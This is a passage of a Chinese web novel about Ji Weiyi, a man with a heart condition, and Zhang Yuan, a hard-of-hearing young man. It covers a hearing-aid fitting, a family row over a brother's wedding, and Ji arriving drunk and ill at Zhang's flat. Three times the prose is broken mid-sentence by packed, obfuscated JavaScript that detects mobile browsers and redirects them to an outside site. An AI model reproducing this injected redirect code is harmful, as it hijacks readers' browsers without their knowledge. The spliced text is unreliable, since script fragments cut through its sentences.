季苇一动了一下，发觉甚至很难不着痕迹地溜出来，虽然尴尬，还是轻拍揽着他的那条胳膊：“张渊。” 张渊转过脸来，把视线从黑掉的屏幕挪回季苇一的脸上。 很意外地，季苇一在那张少见浓烈情绪的脸上看到了一点惶恐。 “他死了吗？”张渊问，“他不下船，他死了吗？” “他——”季苇一语塞，在他自己的角度看，死亡毫无疑问是1990自我选择的归宿。 但他忽然觉得这话对张渊而言有点残忍：“嗯，电影嘛，都是假的，讲故事。既然故事没有说的那么清楚，你怎么想都可以。” “那不要死，”张渊深吸一口气。 头一次为一个虚假的故事而感到悲伤惆怅，这种情绪让他感觉到很陌生。 他不自觉地，将怀里的季苇一搂得更紧些：“我不希望他死。” 被圈住的季苇一愣了愣，腾出一只手来，隔着毯子拍一拍张渊的膝头：“嗯，那你就可以想象他还活着。” 空气安静了几秒钟，张渊忽然说：“你的心跳很快。” 他说完这句话，皱着眉头犹豫片刻，松开怀里的季苇一。 把手放在自己胸前，停留两秒钟，“唔”了一声。 “是我的心跳。”张渊说。 19. 张渊呢？ 电影看完已经后半夜三点钟，要不是下雨，天都快亮了。 张渊看到结局，一副恍恍惚惚丢了半边魂的样子。季苇一只觉得碰上《海上钢琴师》这样的名作，一时看进去了也是正常。 想张渊平日里不声不响，说不定在这些地方意外的细腻敏锐，不愿过多干涉引导，只打发他去睡觉。 自己也回到卧室，像是把最后一点精力都耗尽，沉沉睡去。 他本来觉很浅，因为容易累，时常前半夜早早就躺下。然而越累越睡不踏实，睡到午夜一两点醒一次，凌晨四五点钟又醒。 醒也是迷迷糊糊朦朦胧胧，把几段浅浅的睡眠分隔成琐碎梦境，睡一觉倒像是额外进行了许多劳动。 昨天也累，中途还被鬼压床惊醒了一次，睡过去之后意外竟得了一夜好眠，再睁开眼已经是上午十点多钟，天都大亮了。 许阿姨忙跟他打招呼：“小舟吃什么？馄饨面条现下锅，五分钟就给你端上来。要是想吃点干的，阿姨去蒸包子。” “馄饨，”季苇一在餐桌上坐下，才觉得屋里缺点什么：“张渊呢？” “不是你嘱咐小琮带他去配助听器嘛，走了能有快两个钟头了。”许琮是许阿姨家的一个远亲，当初也是因为她才介绍个季苇一当助理：“小琮办事，你放心呀。” 季苇一没说什么，自顾自坐下来吃馄饨。他家里所有的速冻食物，其实也都是许阿姨自己包的。每一颗鲜肉虾仁馄饨里都有一整个的手剥虾仁和嚼得出形状的大块黑猪肉，轻轻咬开，清香的汤汁溢出来。 鲜，但是滚烫。 季苇一心不在焉，就让那热汤烫了舌头，把馄饨吐在碟子里。 许阿姨在一旁紧张起来：“不好吃？和上次你喜欢的是一样的，是不是冻久了——” “烫。”季苇一拿旁边的白水漱口，水是温的——他面前本来也不会出现凉水，但这时候心情就更差：“舌头痛，不想吃了。” 家里就他自己，许阿姨即使找人告状，一时半刻也还来不及跑过来教育他。 季苇一堂而皇之地离开餐桌，忽然又觉得一阵无奈。三十几岁人了，省一顿饭也要像小孩子那样被念叨，这事儿本身就挺可笑的。 他曾经不止一次地就此事和此类种种事提出过抗议，季津那里从来都是同一句话：“那没办法，小孩子就要大人盯着吃饭，哪个正常的成年人像你一样吃饭那么费劲儿？” 季苇一很努力才把那句“正常的成年人还不用隔三差五就到医院做心脏检查呢”憋回去，成功避免一次家庭战争。 后来也不提了，事实就是他在这家里一天，没人会把当一个大人看，即便从法律意义上他早就是完全民事行为能力人，还取得了一定程度上的社会世俗成就。 想到这儿他翻出和张渊的聊天记录，看着空荡荡的界面，心里莫名来气：他这么大了去哪儿还得跟家里报备，张渊出去一趟不知道跟他打个招呼？ 才十八岁，还是小孩，这么有主见让他很没有身为家长的体验感。 季苇一拨电话给许琮：“配完了？” “还没有。”电话那头一阵嘈杂，许琮的声音忽远忽近：“他好像很多年没做过相关检查了，什么数据都没有，要耗费不少时间。” 季苇一想起他那个用胶带固定过的破助听器，又有些心软了：“别嫌麻烦，既然要配，就好好配吧。” “额，小季总。”许琮似乎要说什么，犹豫了一下，又没说出口。 “怎么？”季苇一问。 电话那头沉默了一下：“噢，我是想说，房子那边，已经找保洁认真打扫过了的，他今晚就能住进去。” “你自己看着办吧，他要是缺什么你帮忙添上。”季苇一莫名其妙，打扫卫生这种小事也要来跟他汇报？ 心情不那么好的时候，耐心也跟着下降，没说什么就挂断电话。 那头的许琮松了一口气，回头看着一旁等检查报告的张渊，又觉得头大。 “我觉得吧，如果小季总知道你这钱是自己出的，他会不高兴的。” 这是一家很权威的验配所，等待区全是家长带着小孩，乱糟糟的。 许琮连说带比划，也不知道张渊到底听明白了没有，看他坐在那里慢慢地眨眼，打算拿出手机直接给他发信息。 “我知道。”嘈杂让张渊不得不花更多时间思考，但来到这里许琮才发现，即便可能听不清，他说话的时候有一种不疾不徐地从容。“所以，不要告诉他。” 现在许琮自己倒是很急：“问题是——”他试图想出一个委婉的表达方式：“这个地方，还挺贵的。” 张渊平静点头：“刚刚，问过医生。”他冲许琮翻开手里的宣传册子，指着价目表上最便宜的那一栏：“这个，可以。” “你可以，但是我觉得小季总不可以……”许琮想，如果季苇一知道他们折腾一整天，最后就买了个最便宜最差的助听器回去，估计会冷着脸问他你到底知不知道自己的老板是谁？ 季苇一这个人吧，乍一看脾气挺好，偶尔会在这件事谁说了算这类问题上，意外的在意。 许琮曾经暗地里分析过在，这可能也属于一种人越缺什么就越想要什么。 当然他只敢在心里偷偷这么想，绝不敢拿这话来跟张渊讲道理，生怕转头就传回季苇一耳朵里去了。 他本来最近就觉得自己的工作地位岌岌可危。 张渊只摇头道：“没事，他不认识助听器。” ……现在不认识，万一以后发现了怎么办？ 许琮甚至已经开始思考能不能先背着张渊把贵的买了，回头再找季苇一报销，进行一次完美的瞒天过海。 又听见张渊说：“他给我花了很多钱。” “是啊。”许琮无语：“所以其实也不差这点儿了。” 见对方又垂下眼保持沉默，他终于没憋住，问道：“你跟小季总什么关系呢，你是他……亲戚？” 一般来讲，也不至于为了亲戚打架把自己打进派出所吧？ 当然，如果是季苇一这种特别有钱的亲戚，他可能也不是不能考虑。 只是这么多年不联系，现在怎么想起来了？ 张渊沉默许久，其实自己也并不太清楚到底和季苇一算什么关系。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740158|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 最初答应和季苇一来到京城，一方面是有冯帆的关系；另一方面，季苇一身上有种令他天然想要亲近的东西——在这个世界上，会轻声细语和他慢慢讲话的人，这么多年来并没有几个。 他因为对拍电影毫无概念，起初没有把当演员看做是比修车有太多不同的工作，以为也无非是像冯帆给他介绍一份工作那样，找个地方糊口，所以来便来了。 可短短几日，他从对方那里得到的善意实在太多。 他不知道要怎么报答季苇一，他会的东西太少，听人说话也费劲，从小到大好像都不怎么招人喜欢。 这世上似乎并没有什么，是他能带给季苇一，而别人不能的。 除了那个传说中很吉利的生日——但他是婴儿潮一代，和他同年出生的人未免也太多了。 张渊想了半天，还是只能想到冯帆：“是因为冯叔。” “噢，”许琮下意识地把张渊理解为冯帆的什么近亲：“小季总对那位……冯老先生，是很敬重的。” 张渊问：“他经常提起冯叔？” “那倒不经常。”许琮心道，何止是不经常，他来季苇一身边也好几年，冯帆根本就像个不存在的人一样。 还是因为这次季苇一要赶回桦城给冯帆送终，临行前失魂落魄的模样太不同寻常。他背地里去跟自己在季家工作很长时间的四姑打听，才大概了解了季苇一和冯帆的关系。 但因为听说张渊和冯帆有一层亲缘关系，下意识地要在张渊面前捡点好听的说。 “不过我听说他们感情挺深的，好多年前我还没来小季总身边的时候，他有一回住院，冯老先生还特意从桦城跑过来看他呢。” 其实他四姑的原话是自己最后一次听说冯帆这个人是季苇一病倒时对方来探病，后来好像就没见有什么来往了。 季家人似乎怀疑两个人在那时候发生了什么矛盾，但因为谈话时只有二人在场，谁也不知道到底都说了些什么。 后来旁敲侧击在他面前提过几次冯帆，季苇一都是刻意避而不谈的样子。 那次他病得很重，光是修养身体就花了近一年的时间，家里见他不想提，从此就不提了。 其他的事情，他四姑也不清楚。 “几年前？”张渊问：“是哪一年？” “是……”许琮算了半天季苇一生病的时间：“七年前吧。” 七年前，张渊在心里默默计算，在那之后又过了三年，他才认识冯帆。 然后无意之中，隔着床头柜里的那张旧照片，和过去的季苇一见了一面。 许琮借冯帆的事情套完近乎，又开始烦恼他这次里外都难做的任务。 忽然听见张渊问：“他之前为什么住院？” “额——”许琮差点咬了舌头，内心大叫言多必失，下次再也不乱说话了：“我也不清楚，好像是在片场，受伤了？”他忙往回找补：“不过早就好了，你也别去问他。” “哦。”张渊应声。 低下头去轻捻自己的指尖，像是有丝绸般的触感残留在手上： 早就好了？可是他的手还是很凉。 20. 粉饰太平 当天下午，季苇一收到了张渊的语音：“助听器很好，谢谢你。” 外加许琮的视频，全方位三百六十五度拍摄打扫干净的屋子，一尘不染，窗明几净。 镜头扫过站在一旁的张渊，许琮冲着他指指镜头：“小季总，打个招呼。” 张渊抬起右手，认认真真地挥了三下，跟幼儿园小朋友汇报演出似的。 看得季苇一心情大好。 这房子是早年间他刚获奖那会儿，用赚得的第一桶金买的。一百平米出头，带电梯，采光非常好，当年看唯一的缺点就是偏点，方便他往郊区各种摄影棚里跑，过了这么多年，已经快成为周边地带CBD了。 当时房价还不夸张，他也没什么投资的想法，实打实是看中了地脚户型，打算自己留着住的。 所以一应装潢都按照他的个人审美，大到刷什么漆买什么床，小到每一层窗帘用什么材质，全部是他亲自挑选的。 至于装好之后才通完风没多久他就病倒了，从此之后都待在家里基本也没在这里住过，那是后话，不耽误他依然很喜欢这房子。 张渊的行李很少，冲淡不了年少的季苇一留下的痕迹，整个屋子都浸在淡淡的怀旧味道里。 时隔多年，让季苇一再次感叹自己审美真是很好。 除了张渊身上的破双肩包实在碍眼，他给许琮转钱：“奖金，顺便给他换个包。” 季津这时候进来：“看什么呢，笑得这么开心。” “剧本。”季苇一把屏幕按黑：“有个项目正在评估，爸妈是不是快到家了？” “这会儿堵车，估计回来还要晚点，你要是饿了，先让许阿姨给你热点东西。”季津说到这里，就把眉头皱起来：“许阿姨说——” “我今天早上没吃早饭。”季苇一替他说完了后半句话，翻出手机付款记录：“然后我就出门了，在公司门前买了点心去办公室里吃过了——哥，你是真的觉得我需要别人帮我判断自己到底饿不饿吗？” 没想到季津真的拉过他的手机来，认真看付款记录上的时间。 季苇一气笑了，猛地又把手机收回去：“你干脆去便利店调监控看看算了。” 季津见他恼了，笑一笑打圆场：“吃过就吃过了，我去查这个做什么，我只是提醒你要规律饮食，再说许阿姨包的馄饨不比——” 季苇一不想听他念叨：“爸妈这次出门，千里迢迢跑到国外去，又才待这么几天就回来，去干嘛了？” 那地方他父母常去，甚至有一处房产专门留做落脚，平日里定期找人上门打理，通常一住会待上小半个月。 这次连一星期都没有，季苇一问：“公司里是不是出什么事了？” 源海集团虽然有个子公司在季苇一名下归他关，家里也时常跟他说总部的事情。但是只要他们不提，季苇一是基本不会主动问起的。 他也不知道自己在执着些什么，总之这么多年都保持着这个习惯。 季津脸上闪过一丝不自然：“不是公司里的事，小舟啊，那个……其实吧……” 他支支吾吾半天，季苇一甚至已经开始在心里担心爸妈中的某一个是不是得了什么毛病，不自觉紧张起来，心砰砰跳得发慌。 正在胃也跟着开始有点不舒服的时候，门口一阵喧闹，房门打开，司机帮着往家里搬行李。 季苇一抬头，看到舟车劳顿但容光焕发的季光远和丛然神采奕奕地走进来。 反正谁看着都像是能比他多活起码二十年的样子。 丛然一进门就走过来拿手捧着季苇一的脸，用擦了唇膏的嘴唇去碰儿子的额头：“小舟，病好了没有啊？” “好了，那两天有点上火。”季苇一任由母亲捧着脸亲，微微躬着身子配合她。 丛然叹气：“你冯叔——” “不提了吧，”季苇一轻描淡写地绕开话题：“提了还难过。” “不提。季光远挥挥手：“吃饭吧，许阿姨别忙了，也来一起。” 一家人坐到桌上去，季光远又叫倒点红酒来。橱子里有瓶他们夫妻俩偶尔傍晚小酌喝剩下的，许阿姨拿过来，丛然又摆手：“开瓶新酒。” 此等规格用来迎接一趟没去几天的旅途实在是有点过了，季苇一见他二人脸上喜色熠熠，在斟酒的间隙追问：“你俩这趟是去忙什么了？” 季光远举杯：“小舟啊，咱家有个大事，你哥哥要结婚了。” 季苇一一愣，手上动作下意识地配合着和他们碰了一下，大脑却还茫然着：“结婚？” 季津喝了一大口酒：“你嫂子不是常在国外吗，我俩年纪也不小了，差不多该定下来了，爸妈跑了一趟去见她父母，我们俩准备选日子了。” 他眉眼里得意中混着几分隐约地心虚：“那个，小舟，不是故意不告诉你。本来要跟你说的，但是突然出了冯叔的事儿，怕你心里乱，想着等你那边都处理好了再告诉你。” 季苇一道：“嗯，知道了。”其实也不觉得告不告诉他到底有什么重要。 然而心中还是不受控制地想到：冯帆临终的消息传到家也就一周，季津计划结婚应该从什么时候开始？ 总之，不可能是七天之前。 丛然见他神色不虞，往他盘子里夹菜：“现在不就知道了嘛，而且小舟，你不用担心哥哥结婚以后生活会有什么变化，什么都还跟以前一样，也就家里多个人。” “多个人？”季苇一捕捉到她话中的异样：“你们打算结婚之后还住在家里吗？” “嗯。”季津点点头，还没等开口，季苇一便说：“既然这样，我就搬出去吧。” 和嫂子住在一个屋檐底下也太奇怪了。 “你搬出去做什么？”季津道：“我们本来是要搬出去的，但是爸妈经常不在，我搬出去就没人照顾你了，家这么大，还住在一起吧。” 季苇一奇道：“你总不能因为我不去过二人世界吧，你们要是觉得跟爸妈住在一起方便，我自己搬出去也没什么影响。” 季光远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13740159|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皱起眉头：“你老提搬出去做什么？” 季苇一无奈：“三十几岁的人自己住不是很正常吗，我又不是没地方住。再说，”他看向季津：“你不介意，嫂子难道不介意？” 怎么可能不介意。 然而季津说：“她不会介意的。” 这句话微妙地踩到季苇一的雷区：“什么叫‘不会’？那我呢，你觉得我会不会？” 季津哽住一下，季苇一又说：“我介意啊。” 他正色道：“你不能替别人决定他介不介意吧。” 季津像是被踩了尾巴：“你有什么好介意的，你老老实实在家里待着，我们得看着你。” 季苇一笑了一声：“哥，我不是离开家就活不了，之前有好多年我都一个人在外面到处跑。” “跑到最后的结果就是你差点死了！”季津把酒杯往桌上一磕，杯子够深，暗红色的液体在玻璃杯壁上缓缓地淌。 季苇一深吸一口气，看不到自己全身都在抖，慢慢站起来：“我差点死了，不是因为我没待在家，而是因为这儿——” 他用手按住自己的心口，摸到越来越剧烈的心跳，顶得胃部一阵呕意翻腾。 他的喉咙也像是被什么东西压住了，每一个字都很艰难地挤卡出来：“因为这里生来就有问题，所以才会生病。” 他低下头去，用手撑着桌子沿儿，努力喘气：“这件事不是在我出生前就注定好的吗？” 季光远勃然大怒，把手里的杯子高高举起，终究没砸下去：“你怎么说话的！” 有红酒溢出来，顺着桌子攀沿，沾在季苇一衣摆。 很多人都说，季光远脾气很大，在公司里基本属于铁血君主说一不二的领导风格。 但季光远这辈子对发他脾气的次数屈指可数，只是这话在他家确实属于禁语。 季苇一从来知道，所以他很少给父亲因此而恼怒的机会。 他低头看着沾染到自己衣袖上的红酒，又觉得有种难以言喻地愧意： 即便到了这个时候，顾惜他那颗残破脆弱的心脏，季光远还是不敢在他面前摔杯子。 空气陷入令人窒息的寂静，几秒之后，季苇一深吸一口气笑了笑，端起面前的那杯酒。 他是不喝酒的，但是每当有这种场合，从来也会在他面前倒上一杯。 他们宁可倒酒，而不是橙汁或者汽水养乐多——这是他家里粉饰太平的某一部分。 但是到聚餐结束时还原封不动摆在桌上的酒，就像卧室里的制氧机，没有锁的房门一样，昭示着那些粉饰不掉的部分。 季苇一举杯，往季津的杯子上碰了碰：“新婚快乐，哥。但是我真的觉得，我不能跟嫂子住在一个屋檐底下。” 他在母亲的惊呼里猛然仰头，把杯中的红酒一饮而尽。 在胃里升腾起的灼热和绞痛中，他放下杯子：“我觉得还是我搬出去住吧。” 季苇一穿过父母还未收拾归置的行李箱，独自一人走出门去。 21. 喝酒了 季苇一冲出门去，疾步走了一阵，隐约听见身后门响，脚步声急促，猜是季津追出来找他。 他几乎能想到季津会对他说什么，碍于他的身体，即便现在全家都压着一肚子的火气，估计也没有人会跟他说什么重话。 越是这样，越季苇一难以面对。他实际也并非感到愤怒，只是疲惫。 疲惫到一句话也不想说。 这一带是独栋别墅区，楼与楼之间都隔得挺远，小区的一角是花坛，植被茂密，这个季节通常没什么人来。 天已经黑了，季苇一躲进去窝着，坐在花坛的石阶上，没几分钟，从天而降一个足球砸进他怀里。 他咳嗽起来，花丛里钻出一个小男孩，汗水在脸上画出几道沟，怯生生看着他。 季苇一边咳嗽边把球递给他，看着对方远去地背影，吃吃地笑——可能在家人眼里，他现在就是一个因为一点点小摩擦而赌气离家出走的任性小男孩，比面前踢球的这位大不了多少。 季津找不到他，开始不断拨电话进来。 季苇一也不挂断电话，就看着手机屏幕亮起又熄灭，觉得身上轻飘飘地，不停冒汗。每咳嗽一下，脑袋里都跟着搅动一下。 太久没有喝过酒，干红入口时酒精感弱，他喝得又很急。葡萄发酵的果酸味和微带奶香的丝滑口感营造出无害的幻觉，出门见风，醉意就涌上来。 晕晕乎乎地走到马路边，低头才发现自己脚上只穿了拖鞋。 星期五傍晚的高峰期，就连这一带的平时人流量没那么大的干道上都在堵车。 被街上晃晃车灯一照，季苇一头重脚轻，跌坐在路牙上。 一坐下去就再起不来。 夜间的春风还是凉的，马路牙子雨天沁水，至今未干。气温算不上很低，但风把热量全部带走，湿冷的棉质衬衫紧贴皮肤，季苇一不受控制地抖动起来。 抖到路过的下班族忍不住走过来拍怕他的肩膀：“哥们儿，喝多了？” 季苇一扬起脸来，看不见自己苍白的脸色被昏黄路灯一映，看起来随时都会昏倒的样子。 路人被他吓了一跳，伸出一只手在他面前晃悠：“哥们，你是病了还是醉了啊，知道家里人电话吗，不行我给你叫个110呢？咱们遇到困难找警察。” 季苇一脸上泛起一点敷衍了事的笑：“没事，喝多了头晕，我就打车回家了。” 路人小哥实在热心：“那我帮你叫个车吧。” 脖子好像连脑袋的重量都无法支撑，季苇一垂下头去，沥青马路忽远又忽近，不知道过了多长时间，一辆出租车停在他面前。 季苇一和那人道声谢，实际上连对方是男是女都好像没记住，勉强站起来把自己摔进车里。 见多了醉汉的出租车司机按下计程表：“去哪儿啊？” 扑面而来的烟味激得季苇一胃里收缩一下：“去……” 五脏六腑都在难受，他坐都要坐不住了，急需找一个干燥温暖的地方躺下来。但五百米开外的家不能回，找个宾馆，又觉得有种 无所归依的不安。 季家在京内还有两套装好了这段时间暂时没出租的房子，但无一例外密码锁都连着家里人的手机。他但凡开门，估计不到一个小时季津就过来找他。 况且他也不想去，他需要的是一个可以暂时逃避家中的，完完全全属于他的，他自己的房子。 ——好像还真有那么一个地方。 季苇一昏昏沉沉报了个地址，出租车一动，酒夜在胃里摇晃，他抱着上腹干呕了一声。 胃越来越痛，刺激性的酒精落在黏膜上，沉睡的炎症很快被勾起。就好像喝下去得不是液体，而是很细很细的沙子，把内脏表面摩擦的血肉模糊。 出租车司机白了满脸冷汗胸前还有个足球印子男人，试图通过他捏在手里的手机品牌判断对方能不能付得起车费：“副驾驶要打安全带了，吐车上五百。” 五百就五百！ 季苇一在心里呐喊——然而其实拉不下脸来。真要是自己的车也就罢了，吐在别人的车上，和那些喝醉了就倒在街边发疯的醉汉有什么两样。 他慢吞吞拉过安全带，往腹部一勒，好像浑身都更难受了。不仅痛，而且胀，仅有的一杯酒化作膨胀的气体，仿佛要把他腹部薄薄的一层皮肉都撑开。 季津这时候又打电话进来，季苇一终于接了，接起来就大喊：“别找我！别找我！” 尖锐的尾音划过嗓子，他赶在咳嗽冲出口前挂断电话。 疼痛让他脾气暴躁。 季苇一特别讨厌胃痛，胃和心脏离得太近了，胃痉挛和心绞痛经常分不清楚。而更多的情况是，但凡遇见一个，另一个马上也要来了。 他确实不该喝酒，像他这样的身体生来就应当是与酒精无缘的——刻薄一点想，如果不是得益于现代医学文明，像他这样的人根本就是没有资格活到三十几岁的。 司机看他掩着嘴咳嗽，喉结滚动，不断做着吞咽动作，终于还是在忍受有个人在自己旁边呕吐和被吐一车得到五百块钱赔偿中选择了前者：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13740160|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座位底下有塑料袋，别弄我车上。” 然而季苇一不肯，只抱着胳膊发抖，忍到衣服都被汗水湿透，几乎是从车里跌出来扶着行道树呕吐。 他唯一能吐的东西也无非是酒，红酒简直是从胃里喷出来的，不仅嘴里酸苦，连气管里都被烧过，每一次呼吸都发痛。 他倒是也顾不上狼狈不狼狈了，捂着肚子在楼与楼之间挪动，万幸倒还能认出楼号。 进了电梯轿厢，就站也站不稳，靠着墙壁滑坐在地上。 从电梯的磨砂镜子里看见自己的模糊的身影，缩在角落里，像刚从雨里钻出来一样。 然后他才忽然想到，这个屋子里现在好像还有别人。 张渊。 来不及想更多，电梯门已经打开。季苇一飘飘忽忽地挪出去，又支撑不住地坐在门口。 他抬起手，一下一下拍门，以为自己用了很大力气，至少手心发痛，皮肉开始红肿。 然而无人应门。 如果他没醉，他应该会记得张渊大概是听不见敲门声的。 但酒精麻痹大脑，思维变得迟缓，记忆力也跟着混乱，季苇一只是徒劳地拍着门板，越拍力气越小。 他吐完之后，腹内的胀痛并没有消失，反而越来越严重。蜷缩起来顶得慌，伸展开又抻得痛。 张渊不应门，这种磨人的疼痛把季苇一折磨地几乎崩溃。 他很努力地，撑起身体攀住门把手，终于够到指纹解锁区域。 手指颤抖，指尖又有汗水，怎么都解不开密码，只有“请重新操作”的电子提示音滴滴滴滴一次又一次的响起。 久到掌心的汗水让他攀不住门把手，季苇一跌回地上。 下一刻，门突然打开，暖色灯光溢出来，张渊瘦高的身影出现在季苇一面前，把他笼罩进自己的影子里。 他低头看着季苇一，脸上有一点惊喜，迅速地转变为惊讶。 季苇一叫他：“张渊。” 张渊已经蹲下来，用手摸他的额头和脸颊。 “你喝酒了。”张渊说。 “张渊。”季苇一又叫他，忽然之间，强烈地委屈涌上来，混合着酒意，把他的声音撕扯地有一点哀怨：“张渊，你为什么不开门？” 他天旋地转地栽倒下去，靠进一个很温暖的胸膛里。 “张渊。”季苇一闭着眼睛，又喃喃地叫他。 “嗯。”张渊应了一声，托着季苇一的后背，一只手穿过他的腋下。 他把他抱起来，走进屋内。 22.饭都不好吃 张渊起初弄不明白发生了什么事。 他今天早起跟着许琮去配了新的助听器，下午搬家，折腾到天擦黑。 总之一切听从季苇一指示，除了他自己偷偷出了助听器的钱。 到了晚上也充当模范学生，听说第二天要开始上课，打开之前季苇一找给他的手语视频，认真预习。 许琮给他叫了快送，米面油生鲜调味料和各种方便速食预制半成品把冰箱和出柜全部塞满。 张渊不怎么会做饭，对食物的要求也不高。刚搬完家不熟悉厨灶不想动火，直接撕开一袋泡面，水也懒得加，边看教学视频边干啃面饼。 泡面面饼虽然油炸过，毕竟不是为干吃准备的，嚼起来格外硬。咀嚼时的震动顺着头骨传导，彻底遮盖住本就不怎么清晰的来自耳朵的声音。 所以，直到电子锁不断亮起开锁失败的红光之前，他完全没能察觉到门外有任何异样。 最开始看到季苇一的时候，他还以为对方只是来确认一下他是否乖乖待在家里。 然而下一秒他就意识到事情不对——他从没见过这样的季苇一，哪怕是在冯帆灵前，高烧中的季苇一都还显得整洁体面。 但如今季苇一坐在地上，头发被汗水打湿贴在脸上，衣服很脏，满身酒气。 “你喝酒了。”他抱起季苇一。 男人的身体比他想象中更轻一些，以他的身高来看，几乎轻得堪称异样。 随着他的动作，季苇一脚上的拖鞋滑落在地上。 张渊皱起眉头，看向对方赤裸的双脚，暴露在空气中的皮肤被冻得青白。 人只有在家里才会穿拖鞋，季苇一是从家里出来的？ 张渊问：“你——” 季苇一却顾不上回答他，忽然间的头低脚高搅得他眼前一片金光，本能地倚靠在张渊肩头。但胃液混着胆汁不受控制地从口中冲出来，而难以忍受的味道让他呕得更厉害。 张渊觉得自己后颈处湿湿热热，意识到季苇一可能是吐了，用手掌拍着他的背，听到对方含混地呜咽：“别动我——” “什么？”他听不清楚，把季苇一放在沙发上，蹲下来看着他。 “我说你别动我。”季苇一喊了一句，半晌睁开眼睛，才发现自己已经在沙发上躺下来，张渊衣服上乌糟糟一团。 他忽然感到抱歉，看到助听器，才意识到张渊为什么不开门：“对不起。” 因为这件事而对张渊发火，和欺负残疾人有什么两样？季苇一为自己不合理的情绪，更加对身体上的病痛感到恼怒：疼痛让他失去理智，变得不像他自己。 所以他试图和不听话的器官作对，用手狠狠往正在胀痛的胃里按了下去。 炸裂开的锐痛让他上半身都弓起来，哗啦又吐了一地。 “你喝酒了。”张渊撩开他额头上汗湿的头发，又一次用听不出是陈述还是疑问的语气重复道。 季苇一却偏偏从这句话中品出几分责备的意思，好像在谴责他不该喝酒。 那股委屈劲儿又一次涌上来：他知道他不该喝酒，他知道他不该对着张渊耍脾气，他还知道他不该跟家里吵架。 他明明可以对一些事情表现得再无所谓一些，就像这么多年以来那样。毕竟他的家人关心他，保护他，比他自己更在意他自己的身体。 他知道，但是此时此刻，他很痛，很烦躁，又很难过。 “是啊，我喝酒了。”季苇一说：“我肚子疼。” 然后他像鸵鸟一样把脸埋进沙发里。 张渊低着头，事实上，是在努力判断那团呕吐物里淡淡的暗红色到底是红酒还是稀释过的血丝。 听到季苇一的答案之后，他稍微松了一口气。 他见过，甚至是很熟悉醉酒的人，对于喝多了吐一地这件事见怪不怪。 但如果是胃出血就糟了，在他的认知里，胃出血不去医院是要死人的。 季苇一趴在沙发上，吐完之后所有的内脏好像都拧在一起，胃也痉挛，肠也痉挛。他整个人冷汗涔涔，有一种烧灼感从里到外涌上来，甚至分不清到底是冷还是热。 就这么趴着，也觉得身体在飘动，好像真的变成了汪洋里的一苇小舟，被巨浪抛来抛去。 改的什么破名！他难受得怨气无处发散，一股脑儿倒在没有来由的地方。 怨沙发不够软他躺不舒服，怨电子锁太不智能居然不认得他的指纹，怨算命的乱说话讲什么三十二岁命里一劫。 又或许对方当真言中，今年才刚开始不到四个月，他遇到的烦心事一件接着一件，就快把去年一年的病都生完了。 那然后呢？若果真言中了，他跨不过去怎么办？ 正在胡思乱想的时候，有什么温热的东西落在他脸上。 张渊换了一件衣服，把季苇一扒拉开，湿毛巾先给脸擦一圈。几缕发丝缠绕住他的手指，他便托住他的脑后，把散乱的头发一并拢到头顶，披散在沙发上。 然后去解扣子，季苇一睁开眼睛：“干嘛？” 他嗓子吐哑了，只有气声出来。张渊没听懂，安抚似的在他肩膀上拍两下：“衣服湿。” 他扒掉季苇一脏兮兮的衬衫，抖开一件宽大的浅色薄卫衣。 “新衣服。”张渊说。季苇一认出那是前几天刚给他买的衣服，他亲自挑的。 张渊把衣服套进他脖子，把手从袖口外面伸进去，捉他的手腕。 季苇一缓慢地反应过来这是在帮他换衣服，自己把两只手伸出来。 只这么一个动作，又把好不容易攒起来的那点力气耗尽了。 于是只能浑身瘫软地随他摆弄，张渊的卫衣比他大一个号，应该是买回来以后就洗过。高级酒店特有的洗衣液味，木棉香，淡淡地裹着他。 张渊替他脱了裤子，因为觉得工程太大，索性没有换上新的，从卧室搬来一床被子直接盖在他身上。又把地上的痕迹胡乱收拾一下，拖个垃圾桶放在旁边。 做完这一切，他凑到季苇一身边，慢慢去探他的腹部：“很痛吗？” “嗯。”季苇一哼唧了一声，攀着张渊的手用力往里压，耗尽仅剩的理智才克制住自己没有把指甲嵌进他肉里。 张渊手掌用力，阻止季苇一在自己肚子上乱按，以一种适中的力度在他痉挛的器官上缓慢地揉着。 季苇一身体猛然一抖：“别，”疼痛让他有种窒息的感觉，张开嘴用力喘了几口才发得出声音：“别、涨……” 张渊即刻停手，偏过头来仔细判断他的脸色。 然后更轻，但是不容置疑地顺着一个方向揉着。 张渊力气很大，季苇一抓着他的手不管往哪个方向上使劲，都只能任由他动作。 最初的那阵疼痛过去，他渐渐放弃抵抗，躺在沙发上小口喘气。 张渊看到对方表情稍微放松了一些，觉得蹲在地上很费力，干脆把季苇一上半身抱在自己怀里，先捋顺他的胃，再往下移动。 一边揉，一边低头看着对方半 